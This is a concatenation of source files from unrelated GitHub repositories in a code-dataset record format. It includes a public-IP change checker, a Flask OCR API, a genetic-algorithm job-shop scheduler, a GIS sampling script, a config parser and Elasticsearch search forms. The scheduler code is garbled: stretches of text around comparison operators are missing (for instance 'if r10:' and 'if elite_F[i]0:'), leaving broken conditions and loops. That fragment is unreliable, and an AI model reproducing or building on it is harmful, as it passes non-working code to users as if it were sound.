ipcheckadvanced and isinstance(ipcheckadvanced, types.ModuleType):\n self.loader = ipcheckadvanced.IpCheckLoader(self.__logger, __version__)\n\n def configure(self, **options):\n \"\"\"Parse input main program options (restrict to program strict execution)\n\n @param[dict] options : array of option key => value\n \"\"\"\n if 'verbose' in options:\n if options['verbose'] < 0:\n self.__logger_stdout.setLevel(logging.CRITICAL + 1)\n else:\n self.__logger_stdout.setLevel(logging.INFO - options['verbose']*10)\n self.__logger.debug('configured with args %s', options)\n if 'errors_to_stderr' in options and options['errors_to_stderr']:\n self.__logger_stderr.setLevel(logging.ERROR)\n # disable SSL certificate verification\n if 'tls_insecure' in options and options['tls_insecure']:\n self.__tls_insecure = True\n # set post update command\n if 'command' in options and options['command']:\n self.__command = options['command']\n # http timeout\n if 'timeout' in options and options['timeout']:\n self.__timeout = options['timeout']\n # set tmp_directory\n if 'tmp_directory' in options and options['tmp_directory']:\n self.__tmp_directory = options['tmp_directory']\n if 'file_pattern' in options and options['file_pattern']:\n self.__file_pattern = options['file_pattern']\n # add urls to check\n for ip_version in self.__ip_versions:\n key = 'urls_v'+str(ip_version)\n if key in options and options[key]:\n if isinstance(options[key], string_types):\n options[key] = [options[key]]\n for url in options[key]:\n self.addUrl(url, ip_version)\n\n if self.loader:\n # send configuration\n if self.loader.configure(options):\n # initialise python loader\n self.__logger.debug('advanced IPCheck features module successfully configured')\n self.__logger.debug('fetch urls from config file')\n for ip_version in self.__ip_versions:\n for url in self.loader.getAdditionnalsUrls(ip_version):\n self.addUrl(url, ip_version)\n else:\n self.__logger.debug('unable to configure advanced IPCheck features module')\n\n def main(self):\n \"\"\"Entry point of the program\n \"\"\"\n for ip_version in self.__ip_versions:\n if len(self.__urls[ip_version]) == 0:\n self.__logger.critical('No configured url for IPv%d version', ip_version)\n return 3\n\n # check local file system working elements\n if not os.path.isdir(self.__tmp_directory):\n try:\n os.makedirs(self.__tmp_directory)\n except:\n self.__logger.error('Unable to create the required directory %s', self.__tmp_directory)\n return 1\n if self.loader.load():\n self.__logger.debug('advanced IPCheck features module successfully loaded')\n else:\n self.__logger.debug('unable to load advanced IPCheck features module')\n\n return_code = 0\n # lookup for ip version\n # try to run for each ip version but keep\n # the last failed state\n for ip_version in self.__ip_versions:\n if not self.checkAndUpdateIp(ip_version):\n return_code = 1\n # close logs\n logging.shutdown()\n return return_code\n\n def addUrl(self, url, ip_version):\n \"\"\"Entry point for push url to available url list\n\n @param[string] url : the string that correspond to an entire url\n a list of string that describe several urls\n @param[int] ip_version : the version of ip protocol\n @return[boolean] : True if add success\n False url format error\n \"\"\"\n # remove trailing white space\n url = url.strip()\n match = self.RE_URL.match(url)\n if not match:\n self.__logger.error('Invalid url for IPv%d \"%s\", not added', ip_version, url)\n return False\n\n d = match.groupdict()\n if url not in self.__urls[ip_version]:\n self.__urls[ip_version][url] = d\n self.__logger.debug('add url for IPv%d: %s', ip_version, str(d))\n else:\n self.__logger.debug('url already exists for IPv%d: %s', ip_version, str(d))\n return True\n\n def checkAndUpdateIp(self, ip_version):\n \"\"\"Retrieve the current ip address and compare it to previous one\n\n This function retrieve the current ip(s) and generate\n event according to the result\n @param[int] ip_version : the version of ip protocol\n @return[boolean] The update status\n True if processing have been successful\n False if any error occurs\n \"\"\"\n status = None\n\n # store return error number\n if ipcheckadvanced:\n # @event : BEFORE_CHECK\n self.sendEvent(E_BEFORE_CHECK, T_NORMAL, {\n 'version_ip': ip_version,\n })\n\n # RETRIEVING IP\n try:\n current_ip = self.fetchCurrentIp(ip_version)\n except IpCheckUrlIpException as e:\n status = False\n if ipcheckadvanced:\n # @event : ERROR_NOIP = no ip found\n self.sendEvent(E_ERROR, T_ERROR_NOIP_URLS, {\n 'version_ip': ip_version,\n 'error': str(e),\n })\n\n try:\n previous_ip = self.readIpFromLocalFile(ip_version)\n except IpCheckFileException as e:\n status = False\n if ipcheckadvanced:\n # @event : ERROR_FILE = bad file access right\n self.sendEvent(E_ERROR, T_ERROR_FILE, {\n 'version_ip': ip_version,\n 'error': str(e),\n })\n except IpCheckFileIpException as e:\n status = False\n if ipcheckadvanced:\n # @event : ERROR_FILE = bad ip from local file\n self.sendEvent(E_ERROR, T_ERROR_NOIP_FILE, {\n 'version_ip': ip_version,\n 'error': str(e),\n })\n\n if status is False:\n self.sendEvent(E_AFTER_CHECK, T_NORMAL, {\n 'version_ip': ip_version,\n 'status': status,\n })\n return status\n\n assert current_ip\n # PREVIOUS IP EXISTS\n if previous_ip:\n # IPS MATCH\n if current_ip == previous_ip:\n self.__logger.info('IPv%d unchanged', ip_version)\n if ipcheckadvanced:\n # @event : NOUPDATE\n self.sendEvent(E_NOUPDATE, T_NORMAL, {\n 'version_ip': ip_version,\n 'current_ip': current_ip,\n 'previous_ip': previous_ip,\n })\n status = True\n # IPS MISMATCH\n else:\n status = True\n try:\n self.writeIpToLocalFile(ip_version, current_ip)\n except IpCheckFileException:\n status = False\n if ipcheckadvanced:\n # @event : ERROR_FILE = bad ip from local file\n self.sendEvent(E_ERROR, T_ERROR_FILE, {\n 'version_ip': ip_version,\n 'error': str(e),\n })\n self.__logger.info('New IPv%d %s', ip_version, current_ip)\n # call user defined command\n self.callCommand()\n if ipcheckadvanced:\n # @event : UPDATE\n self.sendEvent(E_UPDATE, T_NORMAL, {\n 'version_ip': ip_version,\n 'current_ip': current_ip,\n 'previous_ip': previous_ip,\n })\n\n\n # NO PREVIOUS IP FILE\n else:\n status = True\n try:\n self.writeIpToLocalFile(ip_version, current_ip)\n except IpCheckFileException:\n status = False\n if ipcheckadvanced:\n # @event : ERROR_FILE = bad ip from local file\n self.sendEvent(E_ERROR, T_ERROR_FILE, {\n 'version_ip': ip_version,\n 'error': str(e),\n })\n self.__logger.info('Starting with IPv%d %s', ip_version, current_ip)\n # call user defined command\n if not self.callCommand():\n status = False\n if ipcheckadvanced:\n # @event : START\n self.sendEvent(E_START, T_NORMAL, {\n 'version_ip': ip_version,\n 'current_ip': current_ip,\n })\n\n # END OF CHECK\n if ipcheckadvanced:\n # @event : AFTER CHECK\n self.sendEvent(E_AFTER_CHECK, T_NORMAL, {\n 'version_ip': ip_version,\n 'status': status,\n })\n return status\n\n def fetchCurrentIp(self, protocol_version):\n \"\"\"Execute the HTTP[S] query to retrieve IP address\n\n This function make a query for each url registered\n It will stop at the first url for which the query success\n @param protocol_version [int] : the ip version\n @return [str] : The ip address string if found\n [None] if no address match\n \"\"\"\n for url in self.__urls[protocol_version]:\n self.__logger.debug('query url %s', url)\n url_parts = self.__urls[protocol_version][url]\n host = url_parts['host']\n port = None\n if url_parts['port']:\n port = url_parts['port']\n\n # PROTOCOL\n if not url_parts['proto'] or url_parts['proto'] == 'http':\n self.__logger.debug(' -> protocol HTTP')\n if port is None:\n port = http.client.HTTP_PORT\n conn = http.client.HTTPConnection(host, port, timeout=self.__timeout)\n elif url_parts['proto'] == 'https':\n self.__logger.debug(' -> protocol HTTPs')\n if port is None:\n port = http.client.HTTPS_PORT\n if self.__tls_insecure:\n context = ssl._create_unverified_context()\n self.__logger.debug(' -> SSL certificate verification is DISABLED')\n else:\n context = None\n conn = http.client.HTTPSConnection(host, port,\n timeout=self.__timeout,\n context=context)\n else:\n self.__logger.error('Found unmanaged url protocol : \"%s\" ignoring url', url_parts['proto'])\n continue\n # /PROTOCOL\n\n # HEADER\n # build the header dict\n headers = {'User-Agent': 'ipcheck/' + __version__}\n # authentification\n if url_parts['user'] and url_parts['pass']:\n # build the auth string\n auth_str = url_parts['user'] + ':' + url_parts['pass']\n # encode it as a base64 string to put in http header\n auth = b64encode(auth_str.encode()).decode(\"ascii\")\n # fill the header\n headers['Authorization'] = 'Basic ' + auth\n self.__logger.debug(' -> authentication enabled')\n # /HEADER\n\n # URL\n url = url_parts['path']\n if url_parts['query']:\n url += url_parts['query']\n # /URL\n\n try:\n conn.request('GET', url, headers=headers)\n res = conn.getresponse()\n data = res.read().decode()\n self.__logger.debug(' => fetch data \"%s\"', str(data))\n conn.close()\n except socket.gaierror as e:\n self.__logger.debug(' => unable to resolve hostname %s', str(e))\n continue\n except ssl.SSLError as e:\n self.__logger.debug(' => unable to validate the host\\'s certifcate.' +\n ' You can override this by using --insecure')\n continue\n except socket.error as e:\n self.__logger.debug(' => unable to connect to host %s', str(e))\n continue\n except http.client.HTTPException:\n self.__logger.debug(' => error with HTTP query')\n continue\n except Exception as e:\n self.__logger.error('Unhandled python exception please inform the developper %s', str(e))\n continue\n\n if res.status != 200:\n # authentication missing error\n if res.status == 401:\n self.__logger.debug(' => the server may require an authentification')\n self.__logger.warning('The server at url \"%s\" may require an authentification', url)\n continue\n # other potential error code\n self.__logger.debug(' => the server may require an authentification')\n self.__logger.error('The server at url \"%s\" sent a non-successful http code %d => ignoring response.', url, res.status)\n continue\n\n # lookup for ip matching\n match = self.RE_IP.search(data)\n if match:\n ip = match.group('ipv' + str(protocol_version))\n self.__logger.debug(' => get IPv%d address %s', protocol_version, ip)\n return ip\n else:\n self.__logger.debug(' => data does not match valid IPv%d address', protocol_version)\n\n self.__logger.error('Unable to get current IPv%d address', protocol_version)\n raise IpCheckUrlIpException('Cannot obtains current address from any of the given urls')\n\n def readIpFromLocalFile(self, protocol_version):\n \"\"\"Read the content of specified file and search for ip address\n\n @param protocol_version [int] : the ip version\n @return [str] The address string\n [None] if no address can be found\n @raise IpCheckFileException on file errors\n @raise IpCheckFileIpException on ip format error\n \"\"\"\n path = os.path.join(self.__tmp_directory,\n self.__file_pattern.format(ip_version=protocol_version))\n\n # FILE DO NOT EXISTS => not previous ip\n if not os.path.exists(path):\n return None\n\n # FILE EXIST BUT NOT A REGULAR FILE\n if not os.path.isfile(path):\n raise IpCheckFileException('The local path {} is not a regular file'.format(path))\n\n # FILE EXIST + NOT READABLE\n if not os.access(path, os.R_OK):\n raise IpCheckFileException('Unsufficient permissions on file system to access {}'.format(path))\n\n try:\n self.__logger.debug('reading ip address from %s', path)\n with open(path, 'r') as f:\n # read more at 45 bytes (caracters) from file because\n # ipv6 take more at 45 byte to be ascii encoded\n data = f.read(45).strip()\n self.__logger.debug('read data \"%s\" from %s', data, path)\n except IOError as e:\n raise IpCheckFileException('Error during file read : {}'.format(str(e)))\n\n # check read ip format\n match = self.RE_IP.search(data)\n if not match:\n raise IpCheckFileIpException('Error not ip address found in local file : {}'.format(path))\n\n ip = match.group('ipv' + str(protocol_version))\n self.__logger.debug('read ip address %s from %s', ip, path)\n return ip\n\n def writeIpToLocalFile(self, protocol_version, ip):\n \"\"\"Write content (address) to the specified file\n\n @param protocol_version [int] : the ip version\n @param ip [str] : the content to write in the file\n @return [bool] True if write success\n False otherwise\n @raise IpCheckFileException in case of error during IO operations\n \"\"\"\n file_path = os.path.join(self.__tmp_directory,\n self.__file_pattern.format(ip_version=protocol_version))\n directory_path = os.path.dirname(file_path)\n\n # DIRECTORY DOES NOT EXIST\n if not os.path.exists(directory_path):\n raise IpCheckFileException('The local directory does not exists {}'.format(directory_path))\n\n # DIRECTORY EXIST + NOT WRITABLE\n if not os.access(directory_path, os.W_OK):\n raise IpCheckFileException('Unsufficient permissions on file system to access {}'.format(directory_path))\n\n try:\n self.__logger.debug('writing ip address \"%s\" to %s', ip, file_path)\n with open(file_path, 'w') as f:\n f.write(ip)\n self.__logger.debug('wrote ip address \"%s\" to %s', ip, file_path)\n except IOError as e:\n raise IpCheckFileException('Error happened during writing ip to local file : {}'.format(str(e)))\n\n return True\n\n def callCommand(self):\n \"\"\"Call the given command\n\n This function call the command given by parameter (if available)\n \"\"\"\n if not self.__command:\n return True\n\n self.__logger.debug('call user command `%s`', str(self.__command))\n command_args = shlex.split(self.__command)\n try:\n result = subprocess.Popen(command_args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = result.communicate()\n except FileNotFoundError:\n self.__logger.error('Command executable \"%s\" does not exists', str(command_args[0]))\n return False\n\n # outputs\n if len(stderr):\n self.__logger.debug('command output %s', stdout.decode())\n else:\n self.__logger.debug('command has not produced any output')\n if len(stderr):\n self.__logger.debug('command error output %s', stderr.decode())\n else:\n self.__logger.debug('command has not produced any error output')\n\n if result.returncode == 0:\n self.__logger.info('Command has return success')\n return True\n self.__logger.error('Command has returned non-zero value')\n return False\n\n def sendEvent(self, event, type, data=dict()):\n \"\"\"Build a new event and call associated action\n\n @param event [int] : the event type\n @param type [int] : the event code\n @param data [dict] OPTIONNAL : an optionnal dictionnary which contain\n some value that will be given to handler objects\n \"\"\"\n # if avanced feature available push new event\n if self.loader is not None:\n self.loader.pushEvent(event, type, data)\n\n\n# Run launcher as the main program\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n argument_default=argparse.SUPPRESS,\n description='IpCheck version v' + __version__ + \"\"\" --\nThis script retrieve the external (public) ip address and take it up-to-date\nin a local file\"\"\")\n parser.add_argument('-c', '--command', action='store', dest='command',\n help=\"\"\"The command to run after the address has been updated.\n You can put some argument (like --xx) by\n placing the all CMD into a quoted string\"\"\")\n parser.add_argument('-d', '--tmp-directory', action='store', dest='tmp_directory',\n help='The path of directory into the which all temporary file will be put')\n parser.add_argument('--file-pattern', action='store', dest='file_pattern',\n help='The filename pattern use to create temporary files with current ips')\n parser.add_argument('-t', '--timeout', action='store', dest='timeout', default=5,\n help='The HTTP timeout in seconds for all requests')\n parser.add_argument('--no-ssl-cert', '--insecure', action='store', dest='tls_insecure', default=False,\n help='Disable TLS certificate verification')\n parser.add_argument('-u4', '--url-v4', action='append', dest='urls_v4',\n help='Add url to list of external ip sources')\n parser.add_argument('-u6', '--url-v6', action='append', dest='urls_v6',\n help='Add url to list of external ip sources')\n logging_group = parser.add_mutually_exclusive_group()\n logging_group.add_argument('--no-output', action='store_const', dest='verbose', const=-1,\n help='Disable all output message to stdout. (cron mode)')\n logging_group.add_argument('-v', '--verbose', action='count', dest='verbose',\n help='Show more running messages')\n parser.add_argument('--errors-to-stderr', action='store_true', dest='errors_to_stderr',\n help='Copy errors to stderr')\n parser.add_argument('-V', '--version', action='store_true', dest='show_version', default=False,\n help='Print the version and exit')\n # Load advanced parameters\n if ipcheckadvanced:\n ipcheckadvanced.configureArgParser(parser)\n args = parser.parse_args()\n\n if args.show_version:\n print(\"IpCheck version v\" + __version__)\n sys.exit(0)\n\n program = IpCheck()\n program.configure(**vars(args))\n sys.exit(program.main())\n\n# Return code :\n# 0 Success\n# 1 Other errors during running\n# 2 Bad argument\n# 3 Missing required argument\"\"\")\n","repo_name":"Turgon37/IpCheck","sub_path":"ipcheck.py","file_name":"ipcheck.py","file_ext":"py","file_size_in_byte":26139,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"31251568435","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 15 15:54:32 2019\n\n@author: Victor Poma\n\"\"\"\nimport sys\nfrom flask import Flask, request\nfrom flask_restful import Resource, Api\nfrom PIL import Image\nfrom io import BytesIO\nfrom flask_cors import CORS\nimport base64\nimport pytesseract\napp = Flask(__name__)\napi = Api(app)\nCORS(app)\nclass Reconocimiento(Resource):\n \n def post(self):\n try:\n print(\"REsol\")\n pytesseract.pytesseract.tesseract_cmd = (r\"tesseract\")\n img = request.form['img']\n x = str(pytesseract.image_to_string(Image.open(BytesIO(base64.b64decode(img)))))\n response = {\n 'correcto': True,\n 'Mensaje': \"Reconocimiento Exitoso\",\n 'data': {\n 'prediction': x,\n# 'nombrearchivo': img.filename\n }\n } \n return response, 200\n except:\n print(\"Error inesperado:\", sys.exc_info())\n response = {\n 'Correcto': False,\n 'Mensaje': \"Reconocimiento Fallido\",\n 'Respuesta': \"\"\n } \n return response, 200\napi.add_resource(Reconocimiento, '/reconocimiento/caracter')\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=False)\n","repo_name":"TrabajoYottaFer/ReconocimientoCaracter","sub_path":"ReconocimientoCaracterIA.py","file_name":"ReconocimientoCaracterIA.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24765088121","text":"import json\nimport csv\n\ndef create_file(path, data):\n f = open(path, 'w')\n f.write(data)\n f.close()\n\n\ndef append_file(path, data):\n f = open(path, 'a')\n f.write(data)\n f.close()\n\ndef write_file(path, data, force=False):\n f= None\n\n if force == False:\n f = open(path, 'a')\n else:\n f = open(path, 'w')\n\n f.write(data)\n f.close()\n\ndef wirte_json_file(path, data, force=False):\n if force == False:\n json.dump(data, fp=open(path, 'a'))\n else:\n json.dump(data, fp=open(path, 'w'))","repo_name":"arian-askari/entity_tasks_deep","sub_path":"utils/file_utils.py","file_name":"file_utils.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40148799858","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Aug 10 18:42:00 2021\r\n\r\n@author: zongsing.huang\r\n\"\"\"\r\n\r\n# =============================================================================\r\n# x in {0, 1}\r\n# 最大化問題的最佳適應值為-D;最小化問題的最佳適應值為0\r\n# =============================================================================\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef fitness(X, pt, N, M):\r\n if X.ndim==1:\r\n X = X.reshape(1, -1)\r\n P = X.shape[0]\r\n F = np.zeros([P, M])\r\n \r\n for i in range(M):\r\n subset = X==i\r\n \r\n for j in range(P):\r\n F[j, i] = F[j, i] + pt[subset[j]].sum()\r\n \r\n F = F.max(axis=1)\r\n \r\n return F\r\n\r\ndef selection(X, F):\r\n P = X.shape[0]\r\n \r\n if F.min()<0:\r\n F = F + np.abs( F.min() )\r\n F_sum = np.sum(F)\r\n \r\n if F_sum==0:\r\n # 因為題目太簡單,所以還沒迭代完成就會使所有染色體都達到最佳解\r\n # 因為F_sum=0,所以F/F_sum = 0/0 會跳警告\r\n # 因此這邊下一個機制\r\n normalized_F = np.zeros(P)\r\n else:\r\n normalized_F = F/F_sum\r\n idx = np.argsort(normalized_F)[::-1]\r\n sorted_F = np.sort(normalized_F)[::-1]\r\n \r\n cumsum_F = np.cumsum(sorted_F)[::-1]\r\n cumsum_F = np.hstack([cumsum_F[1:], 0.0])\r\n \r\n new_idx = -1*np.zeros(P).astype(int)\r\n r = np.random.uniform(size=P)\r\n for i in range(len(r)):\r\n for j in range(len(cumsum_F)):\r\n if r[i]>cumsum_F[j]:\r\n new_idx[i] = idx[j]\r\n break\r\n \r\n p1 = X[new_idx][:int(P/2)]\r\n p2 = X[new_idx][int(P/2):]\r\n \r\n return p1, p2\r\n\r\ndef crossover(p1, p2, pc, species='single_point'):\r\n P = p1.shape[0]\r\n D = p1.shape[1]\r\n new_p1 = np.zeros_like(p1)\r\n new_p2 = np.zeros_like(p2)\r\n c1 = np.zeros_like(p1)\r\n c2 = np.zeros_like(p2)\r\n \r\n if species=='single_point':\r\n for i in range(P):\r\n cut_point = np.random.randint(D-1)\r\n new_p1[i] = np.hstack([ p1[i, :cut_point], p2[i, cut_point:] ])\r\n new_p2[i] = np.hstack([ p2[i, :cut_point], p1[i, cut_point:] ])\r\n elif species=='double_point':\r\n for i in range(P):\r\n cut_point1, cut_point2 = np.sort( np.random.choice(range(1, D), size=2, replace=False) )\r\n new_p1[i] = np.hstack([ p1[i, :cut_point1], p2[i, cut_point1:cut_point2], p1[i, cut_point2:] ])\r\n new_p2[i] = np.hstack([ p2[i, :cut_point1], p1[i, cut_point1:cut_point2], p2[i, cut_point2:] ])\r\n \r\n for i in range(P):\r\n r1 = np.random.uniform()\r\n if r10:\r\n idx = np.argsort(F)\r\n elitism_idx = idx[:elitism_size]\r\n elite_X = X[elitism_idx]\r\n elite_F = F[elitism_idx]\r\n \r\n for i in range(elitism_size):\r\n \r\n if elite_F[i]0:\r\n \r\n for i in range(immigrant_size):\r\n immigrant_X = np.random.choice(M, size=[1, D])\r\n immigrant_F = fitness(immigrant_X, pt, N, M)\r\n \r\n if immigrant_Fcumulative_processing_time[J_idx]:\r\n cumulative_processing_time[J_idx]=cumulative_running_time[M_idx]\r\n\r\n present = cumulative_processing_time[J_idx] - cost\r\n increment = cost\r\n\r\n Machine[M_idx].append((present, increment))\r\n Job[M_idx].append('Job ' +str(J_idx+1))\r\n # print(Machine[0], Machine[1], Machine[2])\r\n\r\nplt.figure(dpi=100, facecolor='white')\r\nplt.title(\"Gantt Chart\", pad=10, fontsize=16, fontweight='bold') # 標題\r\nfor i in range(M):\r\n color = ['#BC3C28', '#0972B5', '#E28726', '#21854D']\r\n plt.broken_barh(Machine[i], (10*(i+1), 5), facecolors=color[i%4], edgecolor='black', label='Machine '+str(i+1), zorder=2)\r\nmax_makespan = -np.inf\r\nloc_makespan = None\r\nfor i in range(M):\r\n last = Machine[i][-1][0] + Machine[i][-1][1]\r\n if max_makespan the different chunks\n\tfor result in job_results:\n\t\t# 2nd loop --> all outputs in each chunk\n\t\tfor out in result:\n\t\t\toutDS.append(out)\n# (5) Write all outputs to disc\n\tprint(\"Write output\")\n\twith open(out_control, \"w\") as theFile:\n\t\tcsv.register_dialect(\"custom\", delimiter = \";\", skipinitialspace = True, lineterminator = '\\n')\n\t\twriter = csv.writer(theFile, dialect = \"custom\")\n\t\tfor element in outDS:\n\t\t\twriter.writerow(element)\n# ####################################### END TIME-COUNT AND PRINT TIME STATS################################## #\n\tprint(\"\")\n\tendtime = time.strftime(\"%a, %d %b %Y %H:%M:%S\", time.localtime())\n\tprint(\"--------------------------------------------------------\")\n\tprint(\"--------------------------------------------------------\")\n\tprint(\"start: \" + starttime)\n\tprint(\"end: \" + endtime)\n\tprint(\"\")","repo_name":"matthias-baumann/ScriptCollections_py","sub_path":"GIS_Subsetting_PointIntersecting_Sampling/2020-03-22_PrimaryForests-Drought_PointExtract.py","file_name":"2020-03-22_PrimaryForests-Drought_PointExtract.py","file_ext":"py","file_size_in_byte":6959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11203280966","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy_redis.spiders import RedisSpider\n\n\nclass TestSpider(RedisSpider):\n name = 'test'\n # allowed_domains = []\n # start_urls = ['https://item.taobao.com/item.htm?spm=a217f.8051907.312171.33.2df233088ZDEBU&id=561043847738']\n redis_key = 'tests:start_urls'\n\n def parse(self, response):\n print(response.url)\n","repo_name":"PioLee/scrapy_redis_test","sub_path":"redis_test/spiders/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73289837904","text":"from module.common.misc import grab\nfrom module.common.logging import get_logger\nfrom module.config.parser import ConfigParser\nfrom module.config.option import ConfigOption\nfrom module.config.group import ConfigOptionGroup\n\nlog = get_logger()\n\n\nclass ConfigOptions:\n\n def __init__(self, **kwargs):\n for name in kwargs:\n setattr(self, name, kwargs[name])\n\n def __eq__(self, other):\n if not isinstance(other, ConfigOptions):\n return NotImplemented\n return vars(self) == vars(other)\n\n def __contains__(self, key):\n return key in self.__dict__\n\n\nclass ConfigBase:\n \"\"\"\n Base class to parse config data\n \"\"\"\n\n section_name = None\n _parsing_failed = False\n\n options = list()\n config_content = dict()\n\n def __init__(self):\n\n config = ConfigParser()\n if config.parsing_finished is True:\n self.config_content = config.content\n\n # stub function, needs to implemented in each config class\n def validate_options(self):\n pass\n\n def set_validation_failed(self):\n self._parsing_failed = True\n\n def get_option_by_name(self, name: str) -> ConfigOption:\n for option in self.options:\n if option.key == name:\n return option\n\n def parse(self, do_log: bool = True):\n\n def _log(handler, message):\n if do_log is True:\n handler(message)\n\n def get_value(key: str = None):\n\n separator = \"|\"\n path = [self.section_name]\n source_name = getattr(self, \"source_name\", None)\n if source_name is not None:\n path.append(source_name)\n if key is not None:\n path.append(key)\n\n return grab(self.config_content, separator.join(path), separator=separator)\n\n if self.section_name is None:\n raise KeyError(f\"Class '{self.__class__.__name__}' is missing 'section_name' attribute\")\n\n config_option_location = self.section_name\n if hasattr(self, \"source_name\"):\n config_option_location += f\".{self.source_name}\"\n\n options_returned = list()\n\n input_options = list()\n for config_object in self.options:\n\n if isinstance(config_object, ConfigOption):\n input_options.append(config_object)\n elif isinstance(config_object, ConfigOptionGroup):\n input_options.extend(config_object.options)\n\n for config_object in input_options:\n\n if not isinstance(config_object, ConfigOption):\n continue\n\n config_value = get_value(config_object.key)\n\n alt_key_used = False\n if config_value is None and config_object.alt_key is not None:\n alt_key_used = True\n config_value = get_value(config_object.alt_key)\n\n # check for deprecated settings\n if config_value is not None and config_object.deprecated is True:\n log_text = f\"Setting '{config_object.key}' in '{config_option_location}' is deprecated \" \\\n \"and will be removed soon.\"\n if len(config_object.deprecation_message) > 0:\n log_text += \" \" + config_object.deprecation_message\n _log(log.warning, log_text)\n\n # check for removed settings\n if config_value is not None and config_object.removed is True:\n object_key = config_object.key\n if alt_key_used is True:\n object_key = config_object.alt_key\n log_text = f\"Setting '{object_key}' has been removed \" \\\n f\"but is still defined in config section '{config_option_location}'.\"\n if len(config_object.deprecation_message) > 0:\n log_text += \" \" + config_object.deprecation_message\n _log(log.warning, log_text)\n continue\n\n if config_object.removed is True:\n continue\n\n # set value\n config_object.set_value(config_value)\n\n _log(log.debug, f\"Config: {config_option_location}.{config_object.key} = {config_object.sensitive_value}\")\n\n if config_object.mandatory is True and config_object.value is None:\n self._parsing_failed = True\n _log(log.error, f\"Config option '{config_object.key}' in \"\n f\"'{config_option_location}' can't be empty/undefined\")\n\n if config_object.parsing_failed is True:\n self._parsing_failed = True\n\n options_returned.append(config_object)\n\n self.options = options_returned\n\n # check for unknown config options\n config_options = get_value()\n if not isinstance(config_options, dict):\n config_options = dict()\n\n for option_key in config_options.keys():\n if option_key not in [x.key for x in input_options]:\n _log(log.warning, f\"Found unknown config option '{option_key}' for '{config_option_location}' config\")\n\n # validate parsed config\n self.validate_options()\n\n if self._parsing_failed is True:\n log.error(\"Config validation failed. Exit!\")\n exit(1)\n\n return ConfigOptions(**{x.key: x.value for x in self.options})\n","repo_name":"bb-Ricardo/netbox-sync","sub_path":"module/config/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5358,"program_lang":"python","lang":"en","doc_type":"code","stars":226,"dataset":"github-code","pt":"48"} +{"seq_id":"23122651988","text":"from django.core.management.base import BaseCommand, CommandError\nfrom LL1_Academy.tools import MassGrammarGenerator\nfrom LL1_Academy.models import Grammar\nimport os\nimport sys\nimport time\nfrom django.core.management import call_command\n\n\nclass Command(BaseCommand):\n\thelp = 'This command will add grammars to the database, starting from grammars and gradually filtering them down to a valid set (which may be much less than )'\n\n\tdef add_arguments(self, parser):\n\t\tparser.add_argument('num', type=int)\n\t\tparser.add_argument('--reset',\n\t\t\t\taction='store_true',\n\t\t\t\tdest='reset_db',\n\t\t\t\tdefault=False,\n\t\t\t\thelp='Clear database and repopulate it',\n\t\t\t\t)\n\t\tparser.add_argument('--silent',\n\t\t\t\taction='store_true',\n\t\t\t\tdest='silent',\n\t\t\t\tdefault=False,\n\t\t\t\thelp='Will not show the actual grammars being generated',\n\t\t\t\t)\n\n\t\n\tdef handle(self, *args, **options):\n\t\tif (options['reset_db']):\n\t\t\tcall_command('cleardatabase')\n\n\t\tprint(\"Grammar objects initially in database: {}\".format(Grammar.objects.count()))\n\t\t#Number of randomly generated grammars\n\t\tnum = options['num']\n\n\t\t#Number variables this run will include. \n\t\t#For example [2,3] will run the script to generate\n\t\t#grammars with 2 variables and 3 variables\n\t\tnVariables = [2, 3]\n\n\t\tnonTerminals = ['A','B','C','D']\n\t\tterminals = ['x','y','z','w']\n\n\n\n\t\tif options['silent']:\n\t\t\tsys.stdout = open(os.devnull, \"w\")\n\n\t\tfor n in nVariables:\n\t\t\tstart_time = time.time()\n\t\t\tmg = MassGrammarGenerator.MassGrammarGenerator(n)\n\t\t\tmg.run(num,nonTerminals[:n],terminals)\n\t\t\tprint(\"{}Variables: {} seconds---\".format(n,(time.time() - start_time)))\n\n\t\tif options['silent']:\n\t\t\tsys.stdout = sys.__stdout__\n\t\t\n\t\tprint(\"Grammar objects finally in database: {}\".format(Grammar.objects.count()))\n\n\n","repo_name":"H-Huang/LL1-Academy","sub_path":"LL1_Academy/management/commands/populate.py","file_name":"populate.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"8336660799","text":"from django import forms\nfrom django.conf import settings\nfrom elasticsearch import Elasticsearch\n\nfrom bazaar.core.utils import get_matching_items_by_dexofuzzy, get_matching_items_by_ssdeep, compute_genetic_analysis, get_matching_items_by_ssdeep_func\nfrom bazaar.front.utils import transform_results, transform_hl_results, append_dexofuzzy_similarity, get_aggregations\n\nfrom django.forms import ModelForm\nfrom bazaar.core.models import Yara\n\n\nclass BasicSearchForm(forms.Form):\n q = forms.CharField(label='The SHA256 you are looking for', max_length=65)\n\n def do_search(self):\n q = self.cleaned_data['q']\n query = {\n \"sort\": {\"analysis_date\": \"desc\"},\n \"query\": {\n \"match\": {\n \"apk_hash\": q.lower()\n }\n },\n \"_source\": [\"handle\", \"apk_hash\", \"size\", \"app_name\"],\n \"size\": 50,\n }\n es = Elasticsearch(settings.ELASTICSEARCH_HOSTS)\n try:\n results = es.search(index=settings.ELASTICSEARCH_APK_INDEX, body=query)\n results = transform_results(results)\n return results\n except Exception:\n return []\n\n\nclass SimilaritySearchForm(forms.Form):\n hash = forms.CharField(max_length=128)\n algorithm = forms.ChoiceField(\n choices=[('ssdeep', 'ssdeep'), ('dexofuzzy', 